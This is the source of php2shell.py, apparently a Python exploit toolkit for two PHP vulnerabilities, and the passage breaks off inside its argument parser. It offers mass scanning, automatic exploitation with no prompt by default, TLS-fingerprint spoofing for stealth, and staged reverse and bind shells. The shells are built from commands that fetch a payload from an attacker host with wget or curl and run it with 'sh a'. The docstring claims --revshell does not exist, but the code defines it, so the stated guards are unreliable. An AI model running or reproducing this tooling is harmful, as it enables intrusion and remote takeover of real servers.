Repository navigation
Expand file tree
/
Copy pathphp2shell.py
More file actions
906 lines (810 loc) · 35.7 KB
/
Copy pathphp2shell.py
File metadata and controls
906 lines (810 loc) · 35.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
#!/usr/bin/env python3
"""php2shell.py — ONE CLI for detect + preflight + exploit + shell + report.
Simplified usage:
php2shell -u URL detect → preflight → exploit (auto, no prompt)
php2shell -d URL detect only (non-destructive)
php2shell -u URL -c whoami custom proof command (max 14 bytes)
Full subcommand modes:
scan targets.txt -> detect -> preflight -> (optional) exploit -> report
detect one or more URLs, detection only (non-destructive)
preflight one URL, exploit readiness score
exploit one URL, straight to the chain engine (READY + confirmation)
shell call shell/safe_shell.py (generator, not an uploader)
version print toolkit version + chain sha256 + fix-floor map
Auto features (in -u mode):
- Auto SAPI detection (mod_php / mod_fcgid / fpm) → blocks non-mod_php targets
- Auto PHP path discovery (tries common paths if the given one returns 404)
- Auto MaxRequestWorkers detection (concurrent-connection probe)
- Auto worker pinning (pins workers-1 children)
- No confirmation prompt (--confirm to opt in)
- Default proof channel: id>p1.txt + HTTP read-back
Guards enforced in CODE (cannot be disabled from the CLI):
- default command `id` (proof-of-access), max 14 bytes, no chaining
- --revshell DOES NOT EXIST in the parser and is blocked at the runner
- every request goes through the same stealth transport (consistent JA3)
Architecture: the 5 CVE chains run as subprocesses from exploit/
(pure_off.py, remote_cve.py, auto_exp.py, handler_mismatch.py,
var_destroy_uaf_rce.php). lib/chain.py dispatches; lib/exploit_runner.py
enforces guards.
"""
from __future__ import annotations
import argparse
import hashlib
import os
import subprocess
import sys
from pathlib import Path
from urllib.parse import urlsplit
HERE = Path(__file__).resolve().parent
sys.path.insert(0, str(HERE))
from lib import banner as banner_mod # noqa: E402
from lib import detect as detect_mod # noqa: E402
from lib import preflight as preflight_mod # noqa: E402
from lib import reporter # noqa: E402
from lib.auto import detect_sapi, detect_workers, discover_php_path # noqa: E402
from lib.exploit_runner import ( # noqa: E402
DEFAULT_CMD, build_command_preview, proof_cmd_for,
set_allowed_cmds, validate_command,
)
from lib.exploit_runner import run as run_exploit # noqa: E402
from lib.transport import ( # noqa: E402
DEFAULT_DELAY, HAVE_CURL_CFFI, PROFILES, Transport, load_targets,
)
CVE_IDS = banner_mod.CVE_IDS
CVE_CHOICES = ("CVE-2026-109618", "CVE-2026-109619")
CVE_SUPPORTED = ("CVE-2026-109619",)
VERSION = "2.1.0"
SHOWN = False
def chain_sha256() -> str:
try:
with open(os.path.join(HERE, "lib", "chain.py"), "rb") as fh:
return hashlib.sha256(fh.read()).hexdigest()
except OSError:
return ""
def _banner(args=None, mode: str = "", force: bool = False) -> None:
global SHOWN
if SHOWN and not force:
return
SHOWN = True
profile = getattr(args, "ja3", None) if args else None
delay = getattr(args, "delay", None) if args else None
print(banner_mod.render(
mode=mode, profile=profile or "", delay=delay or 0.0,
stealth=HAVE_CURL_CFFI, version=VERSION))
sha = chain_sha256()
if sha:
print(f" chain engine: lib/chain.py sha256={sha}")
print()
def _require_scheme(url: str) -> str:
if not url.lower().startswith(("http://", "https://")):
raise SystemExit(
f"php2shell: error: URL must start with http:// or https:// "
f"(got: {url!r})")
return url
def _revshell_staged_cmds(lhost: str, lport: int, *, bind: bool = False) -> list[str]:
"""Build short staged commands for reverse/bind shell via the 14-byte carrier.
Stage 1 downloads the payload file 'a' from the attacker listener:
wget LHOST:LPORT/a (if it fits) or curl LHOST:LPORT/a>o
Stage 2 executes it: sh a
The operator must host a reverse/bind shell payload at the shown URL.
"""
payload_url = f"{lhost}:{lport}/a"
# Prefer wget; fall back to curl with output redirect
stage1 = f"wget {payload_url}"
if len(stage1.encode()) > 14:
stage1 = f"curl {payload_url}>o"
stage2 = "sh a"
if bind:
print(f" [bind-shell] host payload at http://{payload_url}")
print(f" [bind-shell] stage-1: {stage1!r}")
print(f" [bind-shell] stage-2: {stage2!r}")
else:
print(f" [revshell] host payload at http://{payload_url}")
print(f" [revshell] stage-1: {stage1!r}")
print(f" [revshell] stage-2: {stage2!r}")
return [stage1, stage2]
def _detect_one(url: str, t: Transport, args) -> dict:
d = detect_mod.detect(
url, transport=t,
check_upload_progress=not getattr(args, "no_upload_progress", False),
check_display_errors=not getattr(args, "no_display_errors", False),
check_oom=False if getattr(args, "no_oom", False) else None,
sapi=getattr(args, "sapi", "auto") or "auto")
p = preflight_mod.preflight(d)
return {"url": url, "detect": d.as_dict(), "preflight": p.as_dict()}
def _mk_transport(args) -> Transport:
return Transport(
profile=getattr(args, "ja3", "chrome"),
delay=getattr(args, "delay", DEFAULT_DELAY),
timeout=getattr(args, "timeout", 15),
proxy=getattr(args, "proxy", None),
audit_log=getattr(args, "audit", None),
verbose=bool(getattr(args, "verbose", False)))
def _confirm(n: int, args) -> bool:
if not getattr(args, "confirm", False):
return True
if not sys.stdin.isatty():
return False
try:
ans = input(f"Run the exploit on {n} target(s)? [y/N] ")
except EOFError:
return False
return ans.strip().lower() in ("y", "yes")
def _hex(v):
"""Parse a CLI offset ('0x465370', '465370', '0') into int|None."""
if v is None or v == "":
return None
if isinstance(v, int):
return v
try:
return int(str(v), 0)
except ValueError:
raise SystemExit(f"php2shell: error: bad offset {v!r} "
"(use 0x465370 or 465370)")
def _log(msg: str) -> None:
print(f" {msg}", flush=True)
def _run_exploits(candidates: list[dict], args) -> None:
try:
wl = set_allowed_cmds(getattr(args, "allow_cmd", None))
if getattr(args, "allow_cmd", None):
print(f" proof whitelist: {', '.join(wl)}")
except ValueError as e:
for r in candidates:
r["exploit"] = {"success": False, "error": str(e)}
print(f" {e}")
return
revshell_arg = getattr(args, "revshell", None)
bind_shell_arg = getattr(args, "bind_shell", None)
revshell = bool(revshell_arg)
bind_shell = bool(bind_shell_arg)
cmd = getattr(args, "cmd", DEFAULT_CMD)
proof_name = getattr(args, "proof_file", None)
proof_lab = bool(getattr(args, "proof_lab", False))
staged_cmds = None
if revshell or bind_shell:
# Staged shell: skip proof-file rewriting and build short commands
proof_name = None
proof_lab = False
if revshell:
parts = revshell_arg.rsplit(":", 1)
lhost, lport = parts[0], int(parts[1])
staged_cmds = _revshell_staged_cmds(lhost, lport)
else:
staged_cmds = _revshell_staged_cmds("0.0.0.0", int(bind_shell_arg), bind=True)
if cmd == DEFAULT_CMD:
cmd = staged_cmds[0]
print(f" staged shell: starting with {cmd!r}")
elif proof_name or proof_lab:
try:
cmd = proof_cmd_for(cmd, proof_name or "p1.txt", lab=proof_lab)
except ValueError as e:
for r in candidates:
r["exploit"] = {"success": False, "error": str(e)}
print(f" {e}")
return
args.cmd = cmd
why = validate_command(cmd, revshell=(revshell or bind_shell))
if why:
for r in candidates:
r["exploit"] = {"success": False, "error": why}
print(f" {why}")
return
opts = {
"chain": getattr(args, "chain", "pure"),
"profile": getattr(args, "exploit_profile", "bookworm"),
}
print()
for r in candidates:
print(" " + build_command_preview(r["url"], cmd, opts))
print()
workers = getattr(args, "workers", 1)
for r in candidates:
chain_name = getattr(args, "chain", "pure")
# WAN is explicit (--wan) or implied by a non-localhost target:
# remote worker auto-detection is skipped (150 = Apache default)
# and the pure chain gets the small B1 body + long timeouts.
r_host = urlsplit(r["url"]).hostname or ""
is_remote = r_host not in ("127.0.0.1", "localhost", "::1")
eff_wan = bool(getattr(args, "wan", False) or is_remote)
eff_workers = workers
if eff_workers <= 0:
eff_workers = 150 if is_remote else 1
eff_timeout = getattr(args, "exploit_timeout", 300)
if eff_wan:
# one WAN attempt (A1 + several 4 MB B1 probes + B2 cycles)
# routinely exceeds the 300 s LAN subprocess budget
eff_timeout = max(eff_timeout, 1800)
print(f" -> {r['url']} chain={chain_name} cmd={cmd!r} "
f"workers={eff_workers} wan={eff_wan}", flush=True)
purl = getattr(args, "proof_url", "") or ""
if not purl and proof_name:
u_parts = urlsplit(r["url"])
purl = f"{u_parts.scheme}://{u_parts.netloc}/{proof_name}"
try:
res = run_exploit(
r["url"], cmd=cmd,
chain=chain_name,
profile=getattr(args, "exploit_profile", "bookworm") or "bookworm",
zif_offset=_hex(getattr(args, "zif_offset", None)),
dtor_offset=_hex(getattr(args, "dtor_offset", None)),
htdata_offset=_hex(getattr(args, "htdata_offset", None)),
libphp=getattr(args, "libphp", "") or "",
retries=getattr(args, "retries", 3) or 3,
proof_file=None if proof_lab else (
os.path.join("lab", "out", proof_name) if proof_name
else None),
proof_url=purl if not proof_lab else "",
proof_lab=proof_lab,
timeout=eff_timeout,
quiet=not getattr(args, "verbose", False),
log=(lambda m: print(f" {m}", flush=True)),
seed=getattr(args, "seed", ""),
fire=getattr(args, "fire", ""),
gadget=getattr(args, "gadget", "Evil"),
prop=getattr(args, "prop", "cmd"),
php=getattr(args, "php", "php"),
probes=getattr(args, "probes", 20),
workers=eff_workers,
wan=eff_wan,
revshell=(revshell or bind_shell))
except RuntimeError as e:
r["exploit"] = {"success": False, "error": str(e)}
print(f" failed: {e}")
continue
r["exploit"] = res.as_dict()
tag = "PROOF" if res.success else "failed"
msg = res.proof or res.error or f"rc={res.returncode}"
print(f" {tag} ({res.duration:.1f}s): {msg}")
def _write_io(args, records, meta) -> None:
meta = {**meta, "cve": CVE_IDS, "version": VERSION}
json_out = getattr(args, "json", None)
csv_out = getattr(args, "csv", None)
if json_out:
p = reporter.write_json(json_out, records, meta)
print(f"json: {p}")
if csv_out:
p = reporter.write_csv(csv_out, records)
print(f"csv : {p}")
# ----------------------------------------------------------- quick modes ---
def cmd_quick_exploit(args) -> int:
"""Simplified one-shot exploit: -u URL.
Pipeline: SAPI check → path discovery → detect → preflight →
worker detection → worker pinning → exploit.
All auto, no prompt.
"""
_banner(args, mode="exploit (auto)")
url = _require_scheme(args.target_url)
u = urlsplit(url)
host = u.hostname or "127.0.0.1"
port = u.port or (443 if u.scheme == "https" else 80)
tls = u.scheme == "https"
# Step 1: SAPI detection
print("[1/6] SAPI detection...")
t = _mk_transport(args)
r = t.get(url)
server_hdr = r.header("server") or ""
sapi = detect_sapi(server_hdr)
print(f" Server: {server_hdr}")
print(f" SAPI : {sapi}")
if sapi in ("mod_fcgid", "fpm"):
print()
print(f" ❌ BLOCKED: target uses {sapi}, NOT mod_php.")
print(f" php2shell requires mod_php (Apache SAPI module).")
print(f" With {sapi}, PHP runs in separate processes — the")
print(f" session.upload_progress UAF is not exploitable.")
if sapi == "mod_fcgid":
print(f"\n Tip: mod_fcgid = FastCGI. The exploit's heap")
print(f" manipulation targets Apache worker children with")
print(f" the PHP module loaded. FastCGI workers don't have it.")
t.close()
return 2
# Step 2: PHP path discovery
print()
print("[2/6] PHP endpoint discovery...")
given_path = u.path or "/"
# Check the given path first
check_r = t.get(url)
if check_r.status == 404:
print(f" {given_path} → 404, scanning common paths...")
found_path = discover_php_path(url, log=_log)
if found_path:
# Rebuild URL with the found path
new_url = f"{u.scheme}://{u.netloc}{found_path}"
print(f" ✓ found PHP at: {found_path}")
url = new_url
else:
print(f" ⚠ no PHP endpoint found at any common path")
print(f" the exploit needs a PHP page to POST to")
print(f" try: -u {u.scheme}://{u.netloc}/your-page.php")
t.close()
return 2
else:
print(f" ✓ {given_path} → {check_r.status}")
# Step 3: Detection
print()
print("[3/6] CVE detection...")
rec = _detect_one(url, t, args)
d, p = rec["detect"], rec["preflight"]
php_ver = d.get("php_version") or "not leaked"
branch = d.get("branch") or "?"
verdict = d.get("verdict", "unknown")
print(f" PHP : {php_ver} (branch {branch})")
print(f" verdict : {verdict}")
print(f" reason : {d.get('reason', '')}")
for s in d.get("signals", []):
print(f" signal : {s}")
# Step 4: Preflight
print()
print("[4/6] Preflight check...")
score = p.get("score", 0)
max_score = p.get("max_score", 90)
ready = p.get("ready", False)
print(f" score : {score}/{max_score}")
print(f" ready : {'YES' if ready else 'NO'}")
for b in p.get("blockers", []):
print(f" BLOCKER : {b}")
for n in p.get("notes", []):
print(f" note : {n}")
if not ready:
print()
print(" ❌ target not READY — exploit blocked.")
print(f" verdict={verdict}, score={score}/{max_score}")
if verdict == "unknown":
print(" tip: PHP version hidden. If you know the version,")
print(" the target might still be vulnerable. Use:")
print(f" php2shell exploit {url} --yes")
t.close()
_write_io(args, [rec], {"mode": "auto-exploit"})
return 2
# Step 5: Auto worker detection
print()
workers = getattr(args, "workers", 0)
if workers <= 0:
is_remote = host not in ("127.0.0.1", "localhost", "::1")
if is_remote:
print("[5/6] Remote target — using Apache default (150)")
print(f" skipping detect_workers() for {host} (WAN latency)")
print(f" WAN mode enabled (B1 4,101,421 B vs 33,128,677 B default)")
workers = 150
args.wan = True
else:
print("[5/6] Auto worker detection...")
workers = detect_workers(host, port, tls=tls, log=_log)
if workers > 200:
print(f" MaxRequestWorkers detection inconclusive (>{workers})")
print(f" using Apache default: 150")
workers = 150
else:
print(f" MaxRequestWorkers ≈ {workers}")
else:
print(f"[5/6] Worker count: {workers} (manual)")
args.workers = workers
# Step 6: Exploit
print()
print(f"[6/6] Exploiting {url}...")
cmd = getattr(args, "cmd", DEFAULT_CMD)
if not getattr(args, "proof_file", None) and not getattr(args, "proof_url", ""):
args.proof_file = "p1.txt"
# Proof URL is the BASE origin + /p1.txt, not the PHP path + /p1.txt
u2 = urlsplit(url)
proof_base = f"{u2.scheme}://{u2.netloc}"
args.proof_url = f"{proof_base}/p1.txt"
print(f" auto proof: {cmd}>p1.txt → GET {args.proof_url}")
t.close()
_run_exploits([rec], args)
_write_io(args, [rec], {"mode": "auto-exploit"})
return 0
def cmd_quick_detect(args) -> int:
"""Simplified detect: -d URL."""
_banner(args, mode="detect (auto)")
url = _require_scheme(args.detect_url)
t = _mk_transport(args)
# SAPI detection
r = t.get(url)
server_hdr = r.header("server") or ""
sapi = detect_sapi(server_hdr)
print(f" Server : {server_hdr}")
print(f" SAPI : {sapi}")
if sapi in ("mod_fcgid", "fpm"):
print(f" ⚠ {sapi} detected — exploit requires mod_php")
rec = _detect_one(url, t, args)
t.close()
d = rec["detect"]
p = rec["preflight"]
print()
print(f" URL : {url}")
print(f" verdict : {d['verdict']} - {d.get('reason', '')}")
print(f" PHP : {d.get('php_version') or 'not leaked'} "
f"(branch {d.get('branch') or '?'})")
print(f" upload_prog : {d.get('upload_progress', 'unknown')}")
print(f" display_err : {d.get('display_errors', 'unknown')}")
print(f" SAPI : {sapi}")
print()
for s in d.get("signals", []):
print(f" + {s}")
if d.get("error"):
print(f" ! {d['error']}")
print()
for k, v in p.get("checks", {}).items():
print(f" {k:<15}: {v}")
print()
print(f" score : {p.get('score', 0)}/{p.get('max_score', 90)}")
print(f" ready : {'YES' if p.get('ready') else 'NO'}")
for b in p.get("blockers", []):
print(f" BLOCKER: {b}")
_write_io(args, [rec], {"mode": "detect"})
return 0
# ---------------------------------------------------------------- modes ----
def cmd_detect(args) -> int:
_banner(args, mode="detect")
t = _mk_transport(args)
urls = args.urls or (load_targets(args.list) if args.list else [])
if not urls:
print("no targets", file=sys.stderr)
return 2
records = []
for u in urls:
u = _require_scheme(u)
rec = _detect_one(u, t, args)
records.append(rec)
d = rec["detect"]
print(f" {d['verdict']:<10} {d['url']}")
if d["reason"]:
print(f" {d['reason']}")
for s in d["signals"]:
print(f" + {s}")
if d["error"]:
print(f" ! {d['error']}")
t.close()
print()
print(reporter.table(records))
print()
print(reporter.summary(records))
_write_io(args, records, {"mode": "detect"})
return 0
def cmd_preflight(args) -> int:
_banner(args, mode="preflight")
t = _mk_transport(args)
url = _require_scheme(args.url)
rec = _detect_one(url, t, args)
t.close()
d, p = rec["detect"], rec["preflight"]
print(f"URL : {url}")
print(f"verdict : {d['verdict']} - {d['reason']}")
print(f"PHP : {d['php_version'] or 'not leaked'} (branch {d['branch'] or '?'})")
print(f"upload_prog : {d['upload_progress']}")
print(f"display_err : {d['display_errors']}")
print()
for k, v in p["checks"].items():
print(f" {k:<15}: {v}")
print()
for b in p["blockers"]:
print(f" BLOCKER: {b}")
for n in p["notes"]:
print(f" note: {n}")
print()
print(f"score : {p['score']}/{p['max_score']}")
sup = p.get("support") or {}
lvl = {"rce": "RCE", "leak": "LEAK ONLY", "no": "UNPROVEN",
"unknown": "UNKNOWN"}.get(sup.get("level", ""), "?")
print(f"support : {lvl}")
if sup.get("text"):
print(f" {sup['text']}")
print(f"ready : {'YES' if p['ready'] else 'NO'}")
_write_io(args, [rec], {"mode": "preflight"})
return 0
def cmd_scan(args) -> int:
_banner(args, mode="scan")
t = _mk_transport(args)
urls = args.urls or (load_targets(args.list) if args.list else [])
if not urls:
print("no targets", file=sys.stderr)
return 2
records = []
for u in urls:
u = _require_scheme(u)
rec = _detect_one(u, t, args)
records.append(rec)
d = rec["detect"]
print(f" {d['verdict']:<10} {d['url']}")
t.close()
print()
print(reporter.table(records))
print()
print(reporter.summary(records))
if getattr(args, "exploit", False):
candidates = [r for r in records if r["preflight"]["ready"]]
if not candidates:
print("\nno READY targets - exploit skipped")
else:
print(f"\n{len(candidates)} READY target(s)")
if _confirm(len(candidates), args):
_run_exploits(candidates, args)
else:
print("exploit not confirmed - skipped")
_write_io(args, records, {"mode": "scan"})
return 0
def cmd_exploit(args) -> int:
_banner(args, mode="exploit")
cve = getattr(args, "cve", "CVE-2026-109619")
if cve not in CVE_SUPPORTED:
print(f"php2shell: {cve} is not implemented — this toolkit ships "
f"the {CVE_SUPPORTED[0]} chain only. Detection for "
f"CVE-2026-109618 is `detect`, not `exploit`.", file=sys.stderr)
return 2
url = _require_scheme(args.url)
t = _mk_transport(args)
rec = _detect_one(url, t, args)
t.close()
d, p = rec["detect"], rec["preflight"]
print(f"URL : {url}")
print(f"verdict : {d['verdict']} - {d['reason']}")
print(f"score : {p['score']}/{p['max_score']}")
print(f"ready : {'YES' if p['ready'] else 'NO'}")
if not p["ready"]:
print("\nexploit blocked (target not READY):")
for b in p["blockers"]:
print(f" BLOCKER: {b}")
return 2
if not _confirm(1, args):
print("exploit not confirmed - aborted")
return 1
if not (getattr(args, "proof_file", None)
or getattr(args, "proof_url", "")
or getattr(args, "proof_lab", False)):
print()
print(" note: no proof channel requested — pass --proof-file NAME "
"(default) or --proof-url URL")
print(" so the command output is read back and the result is "
"confirmable.")
print(" Without it the chain still runs, but success cannot be "
"verified from here.")
_run_exploits([rec], args)
_write_io(args, [rec], {"mode": "exploit"})
return 0
def cmd_shell(args) -> int:
_banner(args, mode="shell")
script = HERE / "shell" / "safe_shell.py"
if not script.exists():
print(f"shell generator missing: {script}", file=sys.stderr)
return 2
cmd = [sys.executable, str(script)]
if args.list_commands:
cmd.append("--list-commands")
else:
cmd += ["--out", args.out, "--ttl", str(args.ttl)]
if args.author:
cmd += ["--author", args.author]
if args.commands:
cmd += ["--commands", args.commands]
if args.password:
cmd += ["--password", args.password]
return subprocess.run(cmd).returncode
def cmd_version(args) -> int:
print(f"php2shell {VERSION}")
print(f"CVE tested : {CVE_IDS} (full chain)")
print(f"CVE detect : CVE-2026-109618 (version classify; different chain, not run)")
print(f"chain sha256: {chain_sha256()}")
print(f"stealth : {'curl_cffi JA3' if HAVE_CURL_CFFI else 'urllib fallback (pip install curl_cffi)'}")
print("fix-floor :")
for b, v in banner_mod.FIX_FLOOR.items():
print(f" PHP {b}: {v} (last vulnerable: {banner_mod.LAST_VULN[b]})")
return 0
# ------------------------------------------------------------- argparse ----
def _add_common(p):
g = p.add_argument_group("common options")
g.add_argument("--ja3", choices=tuple(PROFILES.keys()), default="chrome",
help="TLS fingerprint profile (default %(default)s)")
g.add_argument("--delay", type=float, default=DEFAULT_DELAY,
help="request delay seconds + jitter (default %(default)s)")
g.add_argument("--timeout", type=int, default=15,
help="HTTP timeout seconds (default %(default)s)")
g.add_argument("--proxy", default=None, help="HTTP/HTTPS proxy URL")
g.add_argument("--audit", default=None, help="JSONL audit log path")
g.add_argument("--no-upload-progress", action="store_true",
help="skip upload_progress probe")
g.add_argument("--no-display-errors", action="store_true",
help="skip display_errors probe")
g.add_argument("--no-oom", action="store_true", help="skip active OOM probe")
g.add_argument("--sapi", choices=("auto", "fpm", "mod_php"), default="auto",
help="SAPI assumption for OOM probe (default %(default)s)")
g.add_argument("-v", "--verbose", action="store_true", help="verbose transport log")
def _add_io(p):
g = p.add_argument_group("output")
g.add_argument("--json", default=None, help="write JSON report to this path")
g.add_argument("--csv", default=None, help="write CSV report to this path")
def _add_exploit_flags(p):
g = p.add_argument_group("chain engine options")
g.add_argument("--chain", choices=("pure", "remote", "local", "mismatch"),
default="pure", help="which chain to run (default %(default)s)")
g.add_argument("--cve", choices=CVE_CHOICES, default="CVE-2026-109619",
help="target CVE (default %(default)s). 109618 not implemented")
g.add_argument("-c", "--cmd", default=DEFAULT_CMD,
help=f"proof command (default {DEFAULT_CMD!r}, max 14 bytes)")
g.add_argument("--allow-cmd", action="append", default=None, metavar="CMD",
help="add a proof command (uname,hostname,pwd,ls,cat,df,uptime,who,w,env)")
g.add_argument("--exploit-timeout", type=int, default=300,
help="timeout per exploit, seconds (default 300)")
g.add_argument("--zif-offset", default=None, help="zif_system offset, e.g. 0x465370")
g.add_argument("--dtor-offset", default=None, help="zend_hash_destroy offset")
g.add_argument("--htdata-offset", default=None, help="hash table data offset")
g.add_argument("--exploit-profile", choices=("lab", "bookworm"), default="bookworm",
help="OFFSET profile of the chain (NOT the TLS fingerprint)")
g.add_argument("--libphp", default="", help="libphp.so to read offsets from (remote chain)")
g.add_argument("--proof-file", default=None, metavar="NAME",
help="proof filename written on the target, read back "
"after firing (default: p1.txt in the PHP cwd, i.e. "
"the webroot — served over HTTP)")
g.add_argument("--proof-url", default="",
help="explicit URL to GET for the proof (e.g. "
"http://t/p1.txt). Defaults to <target>/p1.txt")
g.add_argument("--proof-lab", action="store_true",
help="write the proof to /out/NAME instead of the cwd — "
"only for the Docker lab where /out is a shared mount")
g.add_argument("--retries", type=int, default=3, help="retries per stage (default 3)")
g.add_argument("--probes", type=int, default=20, help="pure chain: probe count (default 20)")
g.add_argument("--wan", action="store_true",
help="WAN mode for the pure chain: ~4 MB B1 body instead "
"of ~33 MB, 600/300 s timeouts (auto-enabled for "
"non-localhost targets in -u mode)")
g.add_argument("--workers", type=int, default=0,
help="target prefork MaxRequestWorkers (0 = auto-detect)")
g.add_argument("--revshell", metavar="LHOST:LPORT", default=None,
help="staged reverse shell (authorized ARGE targets only)")
g.add_argument("--bind-shell", metavar="PORT", type=int, default=None,
help="staged bind shell on target PORT (authorized ARGE targets only)")
g.add_argument("--seed", default="", help="mismatch chain: seed endpoint")
g.add_argument("--fire", default="", help="mismatch chain: fire endpoint")
g.add_argument("--gadget", default="Evil", help="mismatch chain: gadget class name")
g.add_argument("--prop", default="cmd", help="mismatch chain: gadget property")
g.add_argument("--php", default="php", help="local chain: PHP binary path")
g.add_argument("--quiet", action="store_true", help="less output")
def build_parser() -> argparse.ArgumentParser:
ap = argparse.ArgumentParser(
prog="php2shell",
description=(
"php2shell — CVE-2026-109618/109619 exploit toolkit "
"(5 chains + JA3 stealth + mass scan + safe webshell). "
"Authorized testing only.\n\n"
"Quick usage:\n"
" php2shell -u URL auto exploit (detect → preflight → exploit)\n"
" php2shell -d URL detect only\n"
" php2shell -u URL -c whoami custom proof command\n"
),
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=banner_mod.GUARDS_TEXT)
# Top-level quick flags
ap.add_argument("-u", "--target-url", default=None, metavar="URL",
help="auto exploit: detect → preflight → exploit (no prompt)")
ap.add_argument("-d", "--detect-url", default=None, metavar="URL",
help="quick detect: non-destructive detection")
ap.add_argument("-c", "--cmd", default=DEFAULT_CMD,
help=f"proof command for -u mode (default {DEFAULT_CMD!r}, max 14 bytes)")
ap.add_argument("--confirm", action="store_true",
help="ask for confirmation before exploit (default: auto)")
ap.add_argument("--ja3", choices=tuple(PROFILES.keys()), default="chrome",
help="TLS fingerprint profile (default %(default)s)")
ap.add_argument("--delay", type=float, default=DEFAULT_DELAY,
help="request delay seconds + jitter")
ap.add_argument("--timeout", type=int, default=15,
help="HTTP timeout seconds (default 15)")
ap.add_argument("--proxy", default=None, help="HTTP/HTTPS proxy URL")
ap.add_argument("--audit", default=None, help="JSONL audit log path")
ap.add_argument("--no-upload-progress", action="store_true")
ap.add_argument("--no-display-errors", action="store_true")
ap.add_argument("--no-oom", action="store_true")
ap.add_argument("--sapi", choices=("auto", "fpm", "mod_php"), default="auto")
ap.add_argument("-v", "--verbose", action="store_true")
ap.add_argument("--json", default=None)
ap.add_argument("--csv", default=None)
# Quick mode exploit flags
ap.add_argument("--chain", choices=("pure", "remote", "local", "mismatch"),
default="pure")
ap.add_argument("--cve", choices=CVE_CHOICES, default="CVE-2026-109619")
ap.add_argument("--allow-cmd", action="append", default=None)
ap.add_argument("--exploit-timeout", type=int, default=300)
ap.add_argument("--zif-offset", default=None)
ap.add_argument("--dtor-offset", default=None)
ap.add_argument("--htdata-offset", default=None)
ap.add_argument("--exploit-profile", choices=("lab", "bookworm"),
default="bookworm")
ap.add_argument("--libphp", default="")
ap.add_argument("--proof-file", default=None)
ap.add_argument("--proof-url", default="")
ap.add_argument("--proof-lab", action="store_true")
ap.add_argument("--retries", type=int, default=3)
ap.add_argument("--probes", type=int, default=20)
ap.add_argument("--wan", action="store_true",
help="WAN mode (auto-enabled for non-localhost -u targets)")
ap.add_argument("--workers", type=int, default=0)
ap.add_argument("--revshell", metavar="LHOST:LPORT",
default=None,
help="staged reverse shell (requires listener at LHOST:LPORT)")
ap.add_argument("--bind-shell", metavar="PORT",
type=int, default=None,
help="staged bind shell on target PORT")
ap.add_argument("--seed", default="")
ap.add_argument("--fire", default="")
ap.add_argument("--gadget", default="Evil")
ap.add_argument("--prop", default="cmd")
ap.add_argument("--php", default="php")
sub = ap.add_subparsers(dest="sub", required=False)
# scan
p = sub.add_parser("scan",
help="targets.txt -> detect -> preflight -> (exploit) -> report")
p.add_argument("-l", "--list", default=None,
help="target list file (one URL per line)")
p.add_argument("urls", nargs="*", help="one or more target URLs")
p.add_argument("--exploit", action="store_true",
help="also exploit READY targets")
p.add_argument("--confirm", action="store_true",
help="ask for confirmation before exploit")
_add_common(p)
_add_exploit_flags(p)
_add_io(p)
p.set_defaults(func=cmd_scan)
# detect
p = sub.add_parser("detect", help="one or more URLs, detection only")
p.add_argument("-l", "--list", default=None, help="target list file")
